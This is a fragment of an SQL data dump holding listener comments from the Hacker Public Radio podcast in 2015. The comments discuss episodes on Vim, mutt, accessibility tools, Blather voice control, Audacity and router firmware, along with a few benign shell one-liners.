(1053,1699,'2015-02-05 11:29:20','FiftyOneFifty','Play dat funky music','Where did you get the funky bumper music?','2017-09-09 07:41:26'),
(1054,1699,'2015-02-05 13:29:02','Mike Ray','Thanks for asking the right questions','Well done Ken, so far.  I\'ve enjoyed the Fossdem interview casts so far.  Don\'t usually get much from the interview episodes but this has been good.\r\n\r\nThanks for asking the right questions about accessibility.  I have had to smile at some of the reactions.  Like the guy saying they are trying to get it right for 99% of the users before bothering to do anything about accessibility.  And your response was quite right, because we all know that is a moving target.\r\n\r\nWas dismayed you didn\'t ask about accessibility to the DouDouLinux guy, who said a lot about what\'s on the screen.\r\n\r\nAnd their tag-line: \"...pleasant as possible; while also making computer use more accessible to all children on earth, without discrimination...,\".  I bet blind kids haven\'t even occurred to him.\r\n\r\nI\'m dying to see if Linux Mint features in the last episode.','2017-09-09 07:41:26'),
(1055,1700,'2015-02-06 08:32:04','Mike Ray','Such a parcel of rogues','Brilliant.  A mammoth feat of editing.\r\n\r\n','2017-09-09 07:41:26'),
(1056,1700,'2015-02-06 20:48:54','FiftyOneFifty','Thanks for the memories','Thanks for the great ep, everything one needs to know about HPR in ten minutes.  I appreciate the amount of time that you must have spent editing.','2017-09-09 07:41:26'),
(1057,1700,'2015-02-11 06:55:33','Mikael','Thank you, Ken','This episode just made me smile :-)\r\n\r\nI can only imagine the amount of work you put into this episode, Ken\r\n\r\nThank you for all the work you do for the community.','2017-09-09 07:41:26'),
(1058,1700,'2015-02-11 22:57:47','Epicanis','Not what I was expecting...','That was...awe-inspiring!\r\n\r\nFrom the description and the fact that it was \"only\" ten minutes as reported by the feed, I was expecting a short simple retrospective of some sort.\r\n\r\nInstead, I ended up literally slack-jawed as I listened and realized that if you got everyone who has contributed to HPR at least once together and just had them announce themselves that it\'d still take over *8 minutes* to get through all of them...so far.\r\n\r\nI hope you saved all that as a starting point for when the 3000th episode comes up! That was a LOT of original audio to dig through.','2017-09-09 07:41:26'),
(1059,1700,'2015-02-12 17:30:37','JM','great work!!','I was giggling when I hear my name go by...great stuff!','2017-09-09 07:41:26'),
(1060,1702,'2015-02-12 07:08:39','borgu','reactos moar!','Ken! That russian guy from ReactOS was great! He totally made my morning. He\'s attitude and that funny russian accent and his project!I love it! Please, make moar interviews with him! Moar interviews.. moar..... :D','2017-09-09 07:41:26'),
(1061,1702,'2015-03-05 03:59:26','Alison Chaiken','Thanks for these segments','I really enjoyed listening to them.','2017-09-09 07:41:26'),
(1062,1703,'2015-02-13 11:35:36','Ken Fallon','K3b','Sadly K3B was missing from the list. Definitely one to review.','2017-09-09 07:41:26'),
(1063,1703,'2015-02-25 16:56:45','Charles','','This was a nice informative introduction to these rippers. I greatly enjoyed the music intermissions too. :)','2017-09-09 07:41:26'),
(1064,1707,'2015-02-23 04:54:51','Marshal Mellow','Good job','Good delivery, adequate sound quality, and informative content.\r\n\r\n  Good going Bezza. looking forward to more.\r\n\r\n     MM','2017-09-09 07:41:26'),
(1065,1710,'2015-02-26 12:28:28','johanv','Nice!','Thank you for sharing this. I didn\'t know about this rdesktop alternative. Now I don\'t have to worry about the \'CredSSP required by server\' messages any more.','2017-09-09 07:41:26'),
(1066,1712,'2015-03-02 12:29:18','Beeza','Follow-up Episode Please','Hi Mike\r\n\r\nThis was a fascinating hint of some of the equipment which enables you to use computers.\r\n\r\nI am sure it would be helpful for HPR listeners generally, and developers in particular, to hear an episode describing exactly how you manage to code and navigate round a desktop and web pages without the benefit of sight.\r\n\r\nKnowing how complex some web pages and applications can be, I simply cannot begin to understand how you do it.\r\n\r\nFrom a developer\'s perspective I\'d be very interested to know how you can test applications, use debuggers and so on.\r\n\r\nYou mentioned having a box of SD cards. How do you work out which is which?\r\n\r\nIf you could describe what would make life easier for you, in terms of GUI and web page design, perhaps it might just make us a bit more thoughtful when we layout our designs.\r\n\r\nRegards\r\n\r\nBeeza','2017-09-09 07:41:26'),
(1067,1712,'2015-03-02 13:08:37','Mike Ray','Follow up to \"what\'s in my crate\"','Hello.  OK, I will do just that.  And explain the mechanisms that exist in Linux to support access technology, the actual tools that exist and how I do stuff','2017-09-09 07:41:26'),
(1068,1714,'2015-03-26 09:35:28','0xf10e','','Nice introduction to Vim!\r\n\r\n`vi` on a Linux system (say CentOS) normally is a stripped down Vim as far as I can tell. On FreeBSD `vi` is part of the base system and thus has the \"can\'t go back in insert mode\" limitation (I, too, stumble upon now and then&hellip;).\r\n\r\nI think OS X comes with Vim out of the box but it sure behaves as on any other BSD/unixiod OS in regards to `~/.vimrc`.\r\n\r\nBTW - for anyone wanting Vim on their server: the not full-blown-including-X11-support pkg on FreeBSD is \"vim-lite\" and \"vim-nox\" on Ubuntu','2017-09-09 07:41:26'),
(1069,1714,'2015-03-26 12:38:43','Dave Morriss','Stripped down Vim','Hi 0xf10e,\r\n\r\nThanks for the comments. You are right about the \"standard\" Vim on Linux. I had forgotten. Recently when I set up a new Raspberry Pi (Raspbian) I found the issue you mention and had to install several extra vim-related components to get what I wanted.\r\n\r\nI have actually put full-blown Vim on my server, then if I want gVim, I have transferred the screen back to my workstation over X. I use \r\n\r\nssh -x user@server\r\n\r\nto login, then when I type \'gvim file\' the window appears on my desktop. I may have had to do other configuration that I have forgotten about to make this happen, probably something with \'xhost\'.\r\n','2017-09-09 07:41:26'),
(1070,1714,'2015-03-30 06:30:42','0xf10e','','`ssh -X` should do fine for gvim without additional configuration (as long as the server\'s sshd is configured to allow X-Forwarding).\r\nBut I prefer vim staying in the terminal and _not_ responding to any mouse input ;) ','2017-09-09 07:41:26'),
(1071,1716,'2015-03-02 13:59:48','Mike Ray','\'Parcel of Rogues\' and access tech','Hello.  Just listened to the community news for Feb.  The \'Parcel of Rogues\' comment I made about hpr1700 was a Burns quote.  I thought Dave might have picked up on that given where he lives.\r\n\r\nKen, if you send me your hat-size I\'ll send you a brown paper bag to put over your head while you dabble with the access tech us blind folks use.\r\n\r\nIt might have the double-benefit of drowning out your singing ;-p\r\n','2017-09-09 07:41:26'),
(1072,1716,'2015-03-02 15:50:26','Dave Morriss','Robert Burns','Hi Mike.\r\n\r\nI\'m afraid that Burns quotes are lost on me. It did seem like quite an apposite phrase nevertheless. I\'m proud to be one of the \"Parcel\" :-)','2017-09-09 07:41:26'),
(1073,1716,'2015-03-02 19:06:25','Mike Ray','Also in the parcel','I lived for nearly eight years just along the coast near Prestonpans, but I\'m also in that parcel of rogues.  My tongue-out smiley went wrong in the first comment thanks to an access tech fault that falsely reports some characters as being on the screen twice...when I deleted what I thought was an extra dash it was the colon in :-p','2017-09-09 07:41:26'),
(1074,1716,'2015-03-02 22:02:31','Dave Morriss','Fear and Lothian','You obviously absorbed more Scottish culture in your eight years than I have done in my thirty or more!\r\n\r\nYour original smiley was fine. A semicolon dash p looked to me like a tongue-out wink.','2017-09-09 07:41:26'),
(1075,1718,'2015-03-04 01:10:07','Mike Ray','Great podcast','I was right there!  It was all I could do at the end of this podcast not to go and wash the oil and grime from 5150\'s toolbox off my hands :-)','2017-09-09 07:41:26'),
(1076,1720,'2015-03-29 05:40:28','EllusionSK','Great show','Just wanted to comment that I really enjoyed the show, keep\'em coming.  Hopefully in privacy / security / crypto etc','2017-09-09 07:41:26'),
(1077,1721,'2015-03-09 04:20:39','ARMed','Part 1','It would be nice if you had the link to part 1 in the description too.','2017-09-09 07:41:26'),
(1078,1721,'2015-03-16 17:53:32','Phalax','Good job','Hey there Mike.\r\nThank you for this fantastic series. You make a difficult topic understandable. ;)','2017-09-09 07:41:26'),
(1079,1722,'2015-03-09 17:56:41','mike dupont','https://kansaslinuxfest.us','https://kansaslinuxfest.us','2022-02-14 13:22:26'),
(1080,1722,'2015-03-10 20:28:19','FiftyOneFifty','I\'m a big dummy and got the URL wrong','Mike is right, like a big dummy I got the URL wrong, even though I\'ve had the page open for the last couple months and all the time during which i was compiling my show notes.  Dave Morris was able to fix the show notes for me, but i was busy all weekend and didn\'t deliver the revised audio to Ken Fallon in time.  Sorry folks.','2017-09-09 07:41:26'),
(1081,1723,'2015-03-11 01:02:16','Ken Fallon','I listen to all shows','Hi Kevie,\r\n\r\nI listen to each and every show. Even the Scottish ones :)\r\n\r\nKen.','2017-09-09 07:41:26'),
(1082,1723,'2015-03-12 07:55:51','Dave Morriss','Excellent show','Hearing the story of how you introduced your students to FLOSS brought a big smile to my face.\r\n\r\nIt\'s so sad that a knowledge of how the world works, critical thinking and similar topics aren\'t already on the curriculum.\r\n\r\nThanks Kevie','2017-09-09 07:41:26'),
(1083,1724,'2015-03-16 17:49:51','Phalax','Great series','Thank you Dave for this great series on Vim.\r\nReally makes my fingers itch. ;) ','2017-09-09 07:41:26'),
(1084,1724,'2015-03-16 22:23:30','Dave Morriss','Thanks Phalax','Glad you\'re enjoying it. There\'s more to come soon','2017-09-09 07:41:26'),
(1085,1724,'2015-03-17 12:43:12','johanv','You always learn new things','I am a vim user for more than 10 years. And there is still so much that I don\'t know; I keep on learning new things. E.g. thanks to wonderful podcasts like this one :-)','2017-09-09 07:41:26'),
(1086,1724,'2015-03-17 14:40:05','Dave Morriss','Thanks johanv','If researching these shows has taught me anything it\'s been that there is so much more to learn about Vim. It is vast!\r\nThe whole point of doing them is to share what I have found out, and I\'m happy to say that along the way I\'m finding out still more :-)','2017-09-09 07:41:26'),
(1087,1726,'2015-03-17 15:13:50','johanv','LOL!','Thank you for the reminder :-)\r\n','2017-09-09 07:41:26'),
(1088,1726,'2015-03-21 18:43:06','anonymous','good points','maybe I\'ll do one. MAYBE....','2017-09-09 07:41:26'),
(1089,1726,'2015-04-06 16:29:35','Andres','I uploaded one as a result of this','Uploaded an episode that ticks all the boxes.','2017-09-09 07:41:26'),
(1090,1726,'2015-05-23 02:52:24','Epicanis','I should do an episode nominating myself for an award...','...because based on this episode, I probably have the most ridiculously lame excuses (plural!) for not getting the three that I\'ve got in progress finished and uploaded yet.  The excuses presented here sound perfectly rational by comparison.','2017-09-09 07:41:26'),
(1091,1727,'2015-03-17 16:09:37','archer72','','Great show! \r\nI have one tip.  The rc file can be reloaded without restarting mutt.  The command  will do the same thing, and show any errors in the file setup.','2017-09-09 07:41:26'),
(1092,1727,'2015-03-19 07:57:34','Jonas','','Great show. I\'m installing mutt now. I didn\'t realize you could use vi/vim as a mail editor/writer. I was also interested to hear how to use text web browsers and urlview in a text mail client. Great stuff. \r\nIt\'s always interesting to hear the different subjects the hosts have to talk about. Keep up the great work!','2017-09-09 07:41:26'),
(1093,1727,'2015-03-21 15:08:39','rstackhouse','Automating alias file creation','Great show. I\'m a programmer so my brain is geared to finding automatable tasks. Almost as soon as you mentioned the alias file, I started wondering if there was a way to automate adding to it. This guy used a vim autocommand to do it: https://www.twodee.org/blog/?p=7108. This guy used a Mutt display filter: https://wcm1.web.rice.edu/mutt-tips.html. I\'m wondering about using procmail and some python for that purpose.','2022-02-14 13:17:22'),
(1094,1727,'2016-03-13 12:31:11','Leslie Satenstein','Retired ','A very nice podcast and I do appreciate the references.\r\n\r\nI intend to follow up with mutt.','2017-09-09 07:41:26'),
(1095,1727,'2016-03-15 03:08:46','Frank','','Good luck with Mutt and thanks for listening.','2017-09-09 07:41:26'),
(1096,1728,'2015-03-18 20:35:49','zloster','Other useful browser extensions for Firefox','First, congratulations for the good episode.\r\n\r\nI would like to add two extensions that are very useful to be privacy and security aware while browsing and in the same time require almost no user intervention:\r\n1) https://www.eff.org/privacybadger - this is a tool created by EFF (Electronic Frontier Fondation). It blocks spying ads and invisible trackers. The best part is that it learns which sites are trying to track you and automatically blocks them. You can always override/stop the block if you want;\r\n2) https://addons.mozilla.org/en-US/firefox/addon/ssleuth/ - it ranks an established SSL/TLS (the one\'s with https in front) connection and gives a brief summary rating with all the details and a numeric rank from 0 to 10.\r\n\r\nAnother useful extention that is not privacy related is https://addons.mozilla.org/en-US/firefox/addon/sqlite-manager/ - with it you can manage any SQLite database on your computer. For example Skype application have such  a file where the content of all conversions are stored.','2017-09-09 07:41:26'),
(1097,1728,'2015-06-01 23:44:46','Bob Evans','Ad-Block Edge discontinued','Today  I installed Ad-Block Edge and the mozilla.org download page said it would be discontinued on June 5, 2015.','2017-09-09 07:41:26'),
(1098,1728,'2015-10-30 18:29:43','Fin','Ad-Block Edge Successor','As Bob Evans noted, Ad-Block Edge has now been discontinued. I now use uBlock Origin as it is recommended by the creators of Ad-Block Edge. It continues to provide excellent ad blocking without a built in white list or spyware (AFAIK).','2017-09-09 07:41:26'),
(1099,1729,'2015-03-19 17:10:54','Jon Kulp ','Beautiful!','how could your wife possibly call this ugly? It\'s excellent! Very impressive reduction of heat. Really enjoyed this episode, please post more!','2017-09-09 07:41:26'),
(1100,1730,'2015-03-21 18:14:23','Mike Ray','Arch Linux on RPI','Hello.  Good episode.  I\'m fast rethinking my ideas about American beer and realising it\'s not all Coors and Budweiser \'fizzy water\'.\r\n\r\nI have a script which will create an Arch image for flashing to an SD card.  It will create images for either the original Pi or the Pi2.\r\n\r\nIt downloads a root file-system from archlinuxarm.org, creates a raw image file, creates file-systems in the file and then mounts them with kpartx and losetup before copying the file-system etc into the right place.\r\n\r\nHere\'s a public drip-box link to get it:\r\n\r\nhttps://dl.dropboxusercontent.com/u/59970788/make-rpi-arch.sh\r\n\r\nNow I\'m off round the off-license to get a couple of bottles of Guinnes Porter, carrying my Raspberry Pi on my back\r\n','2017-09-09 07:41:26'),
(1101,1732,'2015-03-24 20:55:40','Daniel Worth','Best Show This Year.','Fantastic job on this. I find it VERY useful. More please!','2017-09-09 07:41:26'),
(1102,1732,'2015-04-01 04:11:03','Robert Stackhouse','Slashes','An easy mnemonic, at least for me, is to remember that slash direction, is the way the top corner of the slash is pointing. ','2017-09-09 07:41:26'),
(1103,1732,'2015-04-05 23:06:45','Jonathan Kulp','How do I do this? Watch this screen capture and see','In case any of you are interested after hearing these episodes about\r\nthe digital make-overs of counterpoint textbooks, I made a\r\nscreencast showing the workflow that I use to create the\r\nembedded musical examples and put them in the book. I don\'t\r\ngo into any detail as far as the scripts that are run in the\r\nbackground, you just get to see magic in action.\r\n\r\nhttps://youtu.be/JWlKNe2nEE0','2017-09-09 07:41:26'),
(1104,1736,'2015-03-31 02:35:07','Jonathan Kulp','','Very nice! Your episode reminded me that I wanted to try Ranger about two years ago but totally forgot about it. It\'s pretty amazing. Looking forward to some more episodes from you. ','2017-09-09 07:41:26'),
(1105,1737,'2015-03-31 11:18:49','zloster','Small problem','The first two links in the notes have a broken href value: .','2017-09-09 07:41:26'),
(1106,1737,'2015-03-31 12:31:28','Dave Morriss','Re: Small problem','Fixed!','2017-09-09 07:41:26'),
(1107,1737,'2015-03-31 18:56:47','Dave Morriss','Great show!','Hi Frank,\r\n\r\nThis was enjoyable. A good way to help people nervous about Vim get past the first hurdles.\r\n\r\nDave','2017-09-09 07:41:26'),
(1108,1738,'2015-04-01 13:48:24','JimZat','Enlightening!','Thanks for this informative episode.\r\n\r\nI was shocked to hear both my credit card PIN and my voice-mail PIN listed.\r\n\r\nI am pleased that my ATM card PIN was not among the list of those listed.','2017-09-09 07:41:26'),
(1109,1739,'2015-09-09 06:49:16','FiftyOneFithty','Thanks for conpairing Zoom and Tascam','This ep came to mind recently when I was asked to forward the HPR H1 to another listener.  I\'d been looking for an excuse to by a recorder for myself, and  the Tascam DR-05 came up in the same search as the Zoom H1.  It\'s probably apples to oranges, but LnB, your preference for the Zoom tipped the balance.','2017-09-09 07:41:26'),
(1110,1741,'2015-04-06 15:27:30','Mike Ray','Pearls before swine','Hmmmph! No more literary references from me in comments :-/.  Seems like only Kevin knew what I was on about.','2017-09-09 07:41:26'),
(1111,1749,'2015-04-16 16:35:19','Jon Kulp','inspirational!','really loved this interview! He\'s the same age as my son, who is also interested in tech, though not quite the prodigy that this guy appears to be. Wonderful.','2017-09-09 07:41:26'),
(1112,1750,'2015-04-17 19:45:26','Jon Kulp','Correction/Improvement','I find now that I can streamline the \"capitalize this\" command by cutting out the last couple of xclip things, like this:\r\n\r\nxdotool key Control+c &amp;&amp; $KEYPRESS \"$(xclip -o | sed \'s/\\(.*\\)/\\L\\1/\' | sed -r \'s/\\&amp;lt;./\\U&amp;/g\')\"','2017-09-09 07:41:26'),
(1113,1750,'2015-04-21 10:41:50','Dave Morriss','Fascinating stuff','Hi Jon,\r\n\r\nThis was very interesting. I\'m impressed at how much you can do with such tools and Blather.\r\n\r\nI wondered, is there any particular reason why you don\'t define KEYPRESS as an alias. I think that\'s what I would have done. I\'d have added it to ~/.bash_aliases which I source in my ~/.bashrc.\r\n\r\nI\'m not sure that it adds a great deal since aliases are just shortcuts and don\'t offer much else in the way of features. Just wondering.\r\n\r\nThe sed tricks link makes good reading by the way.\r\n\r\nDave','2017-09-09 07:41:26'),
(1114,1750,'2015-04-21 15:26:30','Mike Ray','Terrific podcast','This was a great podcast.  19 minutes of inspiration.  John\'s podcasts are always worth a listen but this was particularly good.  I will definitely be having a go at some of this and investigating how I can make life easier with these tools','2017-09-09 07:41:26'),
(1115,1750,'2015-04-22 00:59:18','Jon Kulp','Thanks Mike; Response to Dave','Thanks, Mike! So glad to hear you enjoyed podcast. \r\n\r\nDave, I don\'t really know why I didn\'t try using a bash alias for this. I have a bash alias file with something like 200 lines in it so I definitely know how to do it. Somehow it seemed like creating an environment variable in my blather launch script was the right way to go, and since that worked I never tried doing a different way. ','2017-09-09 07:41:26'),
(1116,1750,'2015-04-22 11:54:47','Jon Kulp','Mike: ping me for help','Mike, If you\'re going to try to get blather up and running, let me know if I can help in any way. The script I wrote for Debian normally will get you to the \"hello world\" stage in one command, but it\'s possible that something could go wrong. If there\'s anything I can do to help you get started, let me know. ','2017-09-09 07:41:26'),
(1117,1750,'2015-04-23 08:45:47','Mike Ray','Blather and xvkbd as shortcuts in Debian','Will do John.  I\'ve just installed Debian Jessie RC3 on a laptop and I\'m setting up some keyboard shortcuts so I will possibly try to get Blather up and running with the x tools to do the same job','2017-09-09 07:41:26'),
(1118,1750,'2015-09-27 12:29:01','Rob Blaine','Blather works great!','Hi Jon \r\n\r\nJust a word of thanks for all your scripts and debian installation script for Blather. I\'m a musician making use of Blather to reduce the number of hours spent using my hands on a keyboard and trackball. I also have a repetitive injury called hand dystonia, so I can definitely empathise with RSI sufferers. Your scripts are great help! - Best regards Rob.  ','2017-09-09 07:41:26'),
(1119,1750,'2015-09-27 22:40:51','Jon Kulp ','Blather','Hi Rob, thanks for the message, it\'s so great to hear about someone else using Blather to make life easier, although I\'m very sorry to hear about your injury. If it\'s any consolation, one of my colleagues here at the University suffered from focal dystonia and seems to have made a complete recovery and is performing again all the time on the violin.','2017-09-09 07:41:26'),
(1120,1750,'2015-09-28 19:35:10','Rob Blaine','Blather and RSI','Hi Jon, seems as though not enough people recognize the potential for programs like Blather. Thanks for the encouragement - I discovered some years ago via the net that retraining was the key to recovery (despite neurologists claiming I\'d never perform again) ........a very slow process, but definitely worth my while. I hope your surgery / injury improves with time, though I can imagine an amount of wrist pain is inevitable. Keep up the good work with Blather.......Thanks again!  ','2017-09-09 07:41:26'),
(1121,1754,'2015-04-10 19:56:42','FiftyOneFifty','Disapointed','I thought this was going to be a podcast on Klingon battle cruisers.','2017-09-09 07:41:26'),
(1122,1754,'2015-04-23 02:27:06','Jon Kulp ','confused','Sorry Fifty, I don\'t even know what those are! Maybe you can record a follow-up. I actually thought the title might be confused with Star Wars droids, the Klingons never occurred to me.','2017-09-09 07:41:26'),
(1123,1754,'2015-04-29 05:26:51','thelovebug','Dmaj7','I found this incredibly interesting as a musician with virtually no formal training... I look forward to hearing more on the theory of chord progressions!\r\n\r\nThanks Jon!\r\n\r\nNext: Major 7ths? Probably my favourite chord to (over)use.','2017-09-09 07:41:26'),
(1124,1754,'2015-05-10 00:13:00','FiftyOneFifty','Explaining myself','The Klingon ship from the original Star Trek series was a class D7 battle cruiser https://www.ditl.org/Images/D/D7General1.jpg and you can still see the model still in use in the later series (Next Gen, DS9, Voyager).','2022-02-14 13:17:22'),
(1125,1754,'2015-05-10 10:47:49','Jon Kulp','I kinda see the resemblance...','That ship actually looks like it has some dissonance in it, such as the tritone between the C and the F&#x266F; that I mentioned in the d7 chord the ','2017-09-09 07:41:26'),
(1126,1756,'2015-04-29 01:59:14','Jon Kulp','Ranger is phenomenal','thanks for this rundown of Ranger! I\'ve been using it for a couple of days and I\'m blown away by the instant preview of every file. I\'ve installed it on 3 machines where I only use ssh to work on em, so this is going to ease navigation on those considerably. Also love being able to use the familiar vim navigation and editing keystrokes yy and pp and so forth. Awesome!','2017-09-09 07:41:26'),
(1127,1757,'2015-04-28 15:02:44','Bill Ricker','epub','Nice podcast. The experimental epub long notes is a great idea.  Constructive feedback :  The code segments render in the popular FBReader as fixed width sans oblique font, and some lines are indented further than intended, including indenting the line number.  The code however looks fine in the alternative \"E-Book Viewer\" app on my Open With menu. (I don\'t even remember what package that came with.) ','2017-09-09 07:41:26'),
(1128,1757,'2015-04-28 15:35:53','Dave Morriss','Re: epub','Thanks Bill,\r\n\r\nThe epub notes need work, I know. I have not yet done a comprehensive look at how different readers render them.\r\n\r\nAs soon as I can I plan to follow Jon Kulp\'s lead and build them with some of the tools he recommends rather than with pandoc, which I\'m using now.','2017-09-09 07:41:26'),
(1129,1757,'2015-04-28 17:18:30','0xf10e','exitcodes','Only 0 being true in shell is due to 0 being the \"everything is fine\" exitcode in UNIX.\r\nEverything else signals some kind of error. Which exitcode correlates to which error depends AFAIK on the command. But you can make your tools scripting friendly by exiting w/ 1 on invalid input, 2 on invalid configuration and so on.\r\nWhen you stick to values of 2^x you can even AND them and fill up all 8bits I think an exitcode can have! ;)','2017-09-09 07:41:26'),
(1130,1757,'2015-04-28 21:53:42','Dave Morriss','Re: exitcodes','Thanks 0xf10e,\r\n\r\nI guess I\'m easily confused :-)\r\n\r\nYou make some good points. I\'ve worked on (old, obsolete) mainframe operating systems where the exit code was caught and turned into a text message, and it was possible to write and register your own \"Message Text Module\" for your own application. I thought that was a good design.','2017-09-09 07:41:26'),
(1131,1758,'2015-04-15 09:04:00','FiftyOneFifty','KITT','I might have expected any story about the Knight Foundation would have taken me into the \"shadowy world of a man who does not exist\" ','2017-09-09 07:41:26'),
(1132,1758,'2015-04-29 18:44:06','0xf10e','VCS!','Dude, \"Use versioning - everywhere!\"\r\n\r\nSeriously, just initialize a local hg/git/fossil repo and commit your stuff now and then. They say \"commit early, commit often\" but if you had made a commit before doing your modifications you could have gone back to a known good state with a single command.\r\nAlso moving stuff around is nicer as any copy/clone of the repo has the history of all the changesets. Merging can get a bit fiddly but having the history* is a nice addition to the comments every code is lacking ;)\r\n\r\n*) of course, there\'s this problem&hellip;: https://xkcd.com/1296/','2022-02-14 13:17:22'),
(1133,1758,'2015-04-30 00:29:03','Cprompt^','Re: VCS','0xf10e,\r\n\r\nThanks.  I actually just started using git for a lot of things including version control!\r\n\r\nI don\'t code often but from now on, when I do, there will be git involved.\r\n','2017-09-09 07:41:26'),
(1134,1759,'2015-04-30 20:44:48','Jon Kulp ','Welcome Aboard ','excellent job! I really enjoyed hearing about the Firefox OS and find it very intriguing. The fact that it runs in a web environment means that it\'s something I might actually be able to hack myself, since the main environment I know how to hack it is HTML. Also very nice audio quality. I will definitely look forward to hearing future episodes, and if you can say anything about eBook apps on the Firefox OS platform I would really be interested in hearing about that.','2017-09-09 07:41:26'),
(1135,1759,'2015-05-03 22:48:57','Stilvoid','Thanks','Thanks for the feedback. I was thinking of doing a follow-up to this at some point as I\'m still using Firefox as my main phone OS and there\'s an update due at the end of this month - I\'ll wait for that to come out. I\'ll definitely make sure to look into ebook apps.','2017-09-09 07:41:26'),
(1136,1760,'2015-05-03 02:42:05','Jon Kulp ','video demo: embedding table of contents in PDF','I made a screencast as a follow-up, showing the process of embedding bookmarks to make a table of contents: https://m.youtube.com/watch?v=5dv_02v0zzc','2017-09-09 07:41:26'),
(1137,1762,'2015-05-08 16:21:42','Ken Fallon','Blade Runner','Tyrell: I want to see it work on a person. I want to see a negative before I provide you with a positive.\r\nDeckard: What\'s that going to prove?\r\nTyrell: Indulge me.','2017-09-09 07:41:26'),
(1138,1766,'2015-05-11 01:54:57','Jon Kulp','Haulin\'','okay so I was already listening to your episode at 1.5x speed and when you did the little demonstration to speed it up to 1.8 times it was really flying ha ha! I don\'t know what the actual speed would\'ve been at that point (2.7x?) but I had to slow it back down to normal speed on my podcast app and listen again to get the true effect.\r\n\r\n By the way I use Beyondpod with the Presto sound library and listen to nearly everything at 1.5x speed by simply adjusting the settings in the app. You can actually set a default playback speed for individual podcast feeds so that you always have the correct speed. I also listen at variable speed using Rockbox on my iPod fourth-gen. So I don\'t really need the variable speed to be built into the audio file, but I am intrigued by the silence truncation thing. Will definitely poke around with that a bit. Thanks for an interesting episode.','2017-09-09 07:41:26'),
(1139,1766,'2015-06-12 16:53:20','Urugami','Can it do this....','I\'ve been using the Truncate Silence function in Audacity to do this, since I was doing some editing of podcasts before listening, but didn\'t start speeding things up until I started using Podkicker with the Prestissimo plug-in.  Accelerated listening has really helped me catch up with a 3-month backlog of podcasts. :)\r\nAnyway, to the question... I played around with the sox silence command for a while, trying it out, and got it to work as you said, but what I could not do was to leave the leading silence alone.  Man pages, help pages, reference pages, etc all assume you want to get rid of the leading silence, and show how to do that, but don\'t demonstrate how to skip the leading silence.  Nothing I tried worked.  Is that something you\'ve tried to do?','2017-09-09 07:41:26'),
(1140,1767,'2015-05-12 09:39:21','Mike Ray','MIFOS, great initiative','Good interview.  And what a great initiative.  I mean, why should the richest 2% be denied \'financial inclusion\' in the developing world so that they too can join in the roller-coaster ride of boom and bust created by financiers and bankers creaming off the wealth in the good times and then blaming everybody else when things go titsup? :-p.  Welcome to the wonderful world of global finance, developing world','2017-09-09 07:41:26'),
(1141,1768,'2015-05-13 01:26:26','sigflup','Right awesome!','Right awesome, good show!','2017-09-09 07:41:26'),
(1142,1768,'2015-05-14 18:22:08','Steve Smethurst','Thanks, and more plase','I enjoyed the show and I will continue to listen if you continue the series.  I studied some C years ago, but since got diverted into Perl, JavaScript and Python.  Its nice to get close again to the silicon.  Many of the basics; data types and flow control etc.,  are common to all C-like languages.  My ears will pick up when you get into C specific topics like structs, memory allocation, pointers, etc.  These things I remember to be specific to C, and are what made the language exciting for me, at that time.','2017-09-09 07:41:26'),
(1143,1768,'2015-05-16 01:52:34','Kete','','I didn\'t think there was enough C, but I enjoyed the recording','2017-09-09 07:41:26'),
(1144,1768,'2015-05-25 07:12:52','kdmurray','A Good Start','Thanks for the show. This was a good first look at some C basics that I haven\'t been exposed to since school.\r\n\r\nI echo the call for more episodes in this series. You may yet make programmers of us all! :)','2017-09-09 07:41:26'),
(1145,1769,'2015-05-21 03:10:01','MoralVolcano','Dragon?','Is Dragon Naturally Speaking open source?','2017-09-09 07:41:26'),
(1146,1769,'2015-05-21 21:53:38','Jon Kulp','Nope','Sadly, no. It is very proprietary. But there is no open source dictation software that I am aware of. I only have this on my office computer, provided to me by the university. ','2017-09-09 07:41:26'),
(1147,1770,'2015-05-18 17:43:40','jezra','For Arch Linux, this is in the AUR','Hi Arch Linux users. This package is in the AUR(Arch User Repository)   https://aur.archlinux.org/packages/open-dyslexic-fonts/','2017-09-09 07:41:26'),
(1148,1771,'2015-05-18 10:12:46','Dave Morriss','Very useful','This was very useful, thanks.\r\n\r\nI have used Audacity a moderate amount but hadn\'t noticed this feature. I have used labels for the last show I edited, which consisted of several pieces I wanted to join together. Being able to label them was very helpful, especially since some parts needed silence removal, and so on, and some did not.','2017-09-09 07:41:26'),
(1149,1771,'2015-05-25 07:10:36','kdmurray','Can\'t believe I\'ve never seen this','I\'ve been using Audacity to edit podcasts and other audio for almost a decade and have never seen this feature. Thanks for sharing with us Jon!','2017-09-09 07:41:26'),
(1150,1771,'2015-06-12 16:42:00','Urugami','','Thanks for doing this show.  I\'ve been familiar with label tracks since I created my first one by accident many moons ago, but they never really lent themselves to what I\'ve doing in Audacity since then.  However, it seems they could help me when I start to digitize my cassette collection.','2017-09-09 07:41:26'),
(1151,1774,'2015-05-22 09:35:45','Ken Fallon','You say Tomato','I think we can reveal Jon as a British Agent. He definitely said  /t&#x259;&#x2C8;m&#x251;&#x2D0;to&#x28A;/ \r\n\r\nhttps://en.wikipedia.org/wiki/Shibboleth\r\nhttps://en.wikipedia.org/wiki/Tomato#Pronunciation\r\n','2022-02-14 13:17:23'),
(1152,1774,'2015-05-27 10:34:56','Mark','Wanted to try this before.','I had thought about flashing a router before, now Jon gave a few ideas as to why.  So now I have a D-Link DIR-601 purchased at a garage sale to experiment with.  So far the experience was good, taking only 10 seconds or less to flash dd-wrt on it.  Looking forward to seeing what it can do.  Thanks for the tip about using a router to connect a printer to the network.  Now to find a router with USB connectivity as my old printer does not have that option.','2017-09-09 07:41:26'),
(1153,1774,'2015-06-01 18:43:14','FiftyOneFifty','Single board options','This is more of a reply to Ken Fallon\'s comments on the Community News than to the original audio.  Ken, the Banana Pi router, with four Ethernet ports, is I believe the only single board solution if you want to build a firewall (though I\'m not aware that any of the firewall distros have been ported to ARM.  Ken is right, most of the single board computers (with the exception of ODroid) drive the Ethernet port via the slower USB bus, and the only way to add another Ethernet port is to use a USB adapter anyway.','2017-09-09 07:41:26'),
(1154,1774,'2015-06-12 16:37:01','Urugami','','This is something I\'ve been wanting to do for a long time now, since my house is not set up to run wires everywhere.  \r\nI\'ve been looking at the Gargoyle router mgmt software, based on OpenWRT, to flash onto my WRT54GL.  When I\'m setting up the home office, this will definitely be on the list of things to do','2017-09-09 07:41:26'),
